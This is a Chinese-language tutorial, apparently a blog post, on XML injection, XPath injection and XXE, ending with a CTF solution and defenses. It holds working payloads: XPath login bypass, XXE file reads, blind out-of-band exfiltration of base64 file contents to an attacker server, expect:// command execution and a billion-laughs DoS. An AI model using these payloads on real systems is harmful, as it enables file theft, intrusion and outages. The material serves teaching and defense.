XML

什么是XML

  • XML 指可扩展标记语言(EXtensible Markup Language)
  • XML 是一种_标记语言_,很类似 HTML
  • XML 的设计宗旨是_传输数据_,而非显示数据
  • XML 标签没有被预定义。您需要_自行定义标签_。
  • XML 被设计为具有_自我描述性_。
  • XML 是 W3C 的推荐标准

XML与HTML

  • XML是用来传输和存储数据的
  • HTML是用来显示数据的
  • XML不是HTML的替代,说是一种补充更合适

为什么需要XML

如果你需要在 HTML 文档中显示动态数据,那么每当数据改变时将花费大量的时间来编辑 HTML。

通过 XML,数据能够存储在独立的 XML 文件中。这样你就可以专注于使用 HTML 进行布局和显示,并确保修改底层数据不再需要对 HTML 进行任何的改变。

通过使用几行 JavaScript,你就可以读取一个外部 XML 文件,然后更新 HTML 中的数据内容。

语法规则

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore>                                                 <!--根元素-->
<book category="COOKING">        <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title>           <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author>                  <!--book的子元素-->
<year>2005</year>                                     <!--book的子元素-->
<price>30.00</price>                                  <!--book的子元素-->
</book>                                                 <!--book的结束-->
</bookstore>                                       <!--bookstore的结束-->
  • 所有 XML 元素都须有关闭标签

  • XML 标签对大小写敏感

  • XML 必须正确地嵌套

  • XML 文档必须有根元素

  • XML 的属性值须加引号

DTD

概念

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。

DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。

DTD是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。

引入方式

内部DTD

使用内部的dtd文件,即将约束规则定义在xml文档中

<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

外部DTD

  • 引入外部的dtd文件
<!DOCTYPE 根元素名称 SYSTEM "dtd路径">

使用网络上的dtd文件

<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">

基础概念

PCDATA

PCDATA指的是被解析的字符数据

CDATA

所有的XML文档中文本均会被解析器解析,只有CDATA区段的文本会被解析器忽略

元素

声明一个元素

<!ELEMENT 元素名称 类别>

或者

<!ELEMENT 元素名称 (元素内容)>

属性

声明元素的属性

<!ATTLIST 元素名称 属性名称 属性类型 默认值>

DTD实体

  • 实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

  • 实体引用是对实体的引用。

  • 实体可在内部或外部进行声明。

内部实体

  • 语法
<!ENTITY 实体名称 "实体的值">
  • DTD例子
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
  • XML例子
<author>&writer;&copyright;</author>

外部实体

外部实体,用来引入外部资源。有SYSTEMPUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。

  • 语法
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
  • DTD例子
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
  • XML例子
<author>&writer;&copyright;</author>

XML注入

XML是一种数据组织存储的数据结构方式

安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注入攻击。

要求

  1. 用户能够控制数据的输入
  2. 程序有拼凑的数据

例子

环境搭建

  • test1.xml
<?xml version="1.0" encoding="utf-8"?>
<manager>
    <admin id="1">
    <username>admin</username>
    <password>admin</password>
    </admin>
    
    <admin id="2">
    <username>root</username>
    <password>root</password>
    </admin>
    
</manager>

对于上面的xml文件,如果攻击者能够掌控password字段,那么就会产生XML注入。如攻击者输入:

admin </password>
</admin>

<admin id="3">
    <name>hack</name>
    <password>hacker</password>
</admin>

最终修改结果为:

<?xml version="1.0" encoding="utf-8"?>
<manager>
    <admin id="1">
    <name>admin</name>
    <password>admin</password>
    </admin>
    
    <admin id="2">
    <username>root</username>
    <password>root</password>
    </admin>
    
    <admin id="3">
    <name>hack</name>
    <password>hacker</password>
    </admin>
    
</manager>

XML注入两大要素:标签闭合和获取XML表结构

XML注入防御

  1. 对用户的输入进行过滤
  2. 对用户的输入进行转义

XPATH注入

简介

XPath注入攻击是指利用XPath 解析器的松散输入容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知识的情况下,通过XPath查询得到一个XML文档的完整内容。

XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的,从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时,攻击者还可以提升他的权限。

特点

XPath注入攻击利用两种技术,即XPath扫描XPath查询布尔化。通过该攻击,攻击者可以控制用来进行XPath查询的XML数据库。这种攻击可以有效地对付使用XPath查询(和XML数据库) 来执行身份验证、查找或者其它操作。

攻击原理

XPath注入攻击主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作。

注入对象不是数据库users表,而是一个存储数据的XML文件

因为xpath不存在访问控制,所以不会遇到许多在SQL注入中经常遇到的访问限制。 注入出现的位置也就是cookieheadersrequestparameters/input等。

Xpath语法

如果一个网站某应用程序将数据保存在XML中,并且对用户的输入没有做限制,攻击者提交了没有经过处理的输入,就插入到 XPath 查询中,即产生Xpath注入,那么就攻击者就可能通过控制查询,获取数据,或者删除数据之类的操作。

Xpath是xml路径语言,用于配置文件的查找。数据库就是xml文件。因此只要是利用XPath语法的Web 应用程序如果未对输入的XPath查询做严格的处理都会存在XPath注入漏洞。比如一些登录地址页面,搜索页面需要与xml交互的位置。

例子

环境搭建

  • test2.xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
    <users> 
        <user> 
            <id>1</id>
            <username>test1</username>
            <password>test1</password>
        </user> 
        <user> 
            <id>2</id>
            <username>test2</username>
            <password>test2</password>
        </user>
    </users>
</root>
  • Xpath.php
<?php
$xml=simplexml_load_file('test1.xml');
$name=$_GET['name'];
$pwd=$_GET['pwd'];
$query="/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result=$xml->xpath($query);
if($result){
    echo '<h2>Welcome</h2>';
    foreach($result as $key=>$value){
        echo '<br />ID:'.$value->id;
        echo '<br />Username:'.$value->username;
    }
}
?>

simplexml_load_file():返回类 SimpleXMLElement 的一个对象,该对象的属性包含 XML 文档中的数据

正常查询

直接注入

payload:/?name=’ or 1=1 or ‘’ = ‘

盲注

推测根节点数

利用count(/*)判断根下节点,?是可变量,有回显时说明存在?个节点

payload:/Xpath.php?name=’ or count(/*) = ? or ‘1’ = ‘2&pwd=

盲注下一节点

利用substring分割每个字符,逐级猜解

payload:url/Xpath.php?name=’ or substring(name(/*[position() = 1]),1,1) = ‘r’ or ‘1’ = ‘2&pwd=

url/Xpath.php?name=’ or substring(name(/*[position() = 1]),1,1) = ‘o’ or ‘1’ = ‘2&pwd=

XXE

简介

XXE漏洞全称XML External Entity Injection 即XML外部实体注入

特点

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

要求

XXE的造成与PHP版本无关,与libxml库的版本有关。

libxml <= 2.9.0

libxml <= 2.9.0中,默认启用了外部实体,libxml>2.9.0中默认仅用了外部实体。

XXE并不是直接由libxml库造成的,libxml库提供了一些XML核心功能,包括禁用外部实体的libxml_disable_entity_loader()函数,SimpleXML库提供了解析XML的函数,SimpleXML库依赖于libxml库。

例子

环境搭建

<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile);
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
echo $str;
?>

file_get_contents获取客户端输入内容

new DOMDocument()初始化XML解析器

loadXML($xmlfile)加载客户端输入的XML内容`

simplexml_import_dom($dom)获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE。

  • 获取SimpleXMLElement对象中的节点XXE,然后输出XXE内容。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///d://qwzf.txt">
]>
<xml>
<xxe>&file;</xxe>
</xml>

漏洞利用

与SQL相似,XXE漏洞也分为有回显和无回显

  • 有回显,可以直接在页面中看到payload的执行结果或现象。
  • 无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。

读取任意文件

  • xxe.php
<?php
$xml = simplexml_load_string($_REQUEST['xml']);
print_r($xml);//注释掉该语句即为无回显的情况
?>
  • payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///1.txt" >
]>
<root>
<name>&file;</name>
</root>

将payload进行url编码后传入

我这里没有读出文件,不知道是不是PHP版本太高了

  • 靶场练习

有回显

  • 源码
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
  • 测试登录
  • 任意文件读取

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///D:/phpstudy_pro/WWW/xxe-labs/php_xxe/flag.txt" >
]>
<root>
<name>&file;</name>
</root>

无回显

遇到无回显,可以通过Blind XXE方法加上外带数据通道来提取数据

先使用php://filter协议获取目标文件的内容,然后将内容以http请求发送到攻击服务器来读取数据。

虽无法直接查看文件内容,但我们可以使用易受攻击的服务器作为代理,在外部网络上执行扫描以及代码。即,当无回显情况时,可以将数据发送到远程服务器(攻击服务器)。

  • 攻击流程

    1. 先调用%dtd,请求远程服务器(攻击服务器)上的xxe.dtd
    2. 再调用 evil.dtd中的 %file%file 获取受攻击的服务器上面的敏感文件,然后将 %file 的返回结果传到%send
    3. 然后调用 %send; 把读取到的数据发送到远程服务器上。
  • 源码

修改一下,禁掉输出的报错信息

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
//echo $result;
?>
  • 部署dtd
  1. payload
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/flag.txt">
<!ENTITY % dtd SYSTEM "http://172.17.10.2/xxe.dtd">
%dtd;
%send;
]>

或者

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE root[
	<!ENTITY % dtd SYSTEM "http://172.17.10.2/xxe.dtd">
	%dtd;
]>
  1. 部署远程xxe.dtd文件
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://172.17.10.2/?content=%file;'>"> %payload;

或者

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/flag.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://172.17.10.2:5000/?content=%file;'>">
%int;
%send;
  1. 将xml进行url编码后传入,再查看远程服务器的Apache日志,解码后就是文件的内容

脚本

  • 源码
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
?>
  • 脚本
#!/usr/bin/python
# -*- coding:utf-8 -*-
import urllib2

if __name__ == '__main__':

    print u'输入要访问的地址,如http://127.0.0.1/xml/xxe2.php'
    url = raw_input()
    count=1
    while count==1:
        print u'输入要读取的文件,如file:///etc/passwd'
        payload = raw_input()
        headers = {'Content-type': 'text/xml'}
        xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>'
        req = urllib2.Request(url = url,headers = headers, data = xml)
        res_data = urllib2.urlopen(req)
        res = res_data.read()
        print res

系统命令执行

在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

通过XXE可以实现RCE的实例很少。

例子:[NCTF2019]Fake XML cookbook

拿到题目第一反应是注入,结果没发现注入点

打开源码,发现了提示,结合题目,可以基本确定题目为xxe

<script type='text/javascript'> 
function doLogin(){
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}
</script>

测试登录,抓包分析

username为注入点,存在回显,开始注入

payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<user><username>&xxe;</username><password>admin</password></user>

拒绝服务攻击(Dos)

<?xml version="1.0"?>
   <!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

原理:递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。

探测内网端口

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>

漏洞防御

  1. 禁用外部实体
  • php
libxml_disable_entity_loader(true);
  • java
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
  • Python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  1. 过滤用户提交的XML数据

过滤关键字:<\!DOCTYPE<\!ENTITY,或者SYSTEMPUBLIC

  1. 不允许XML中含有自定义的DTD

参考博客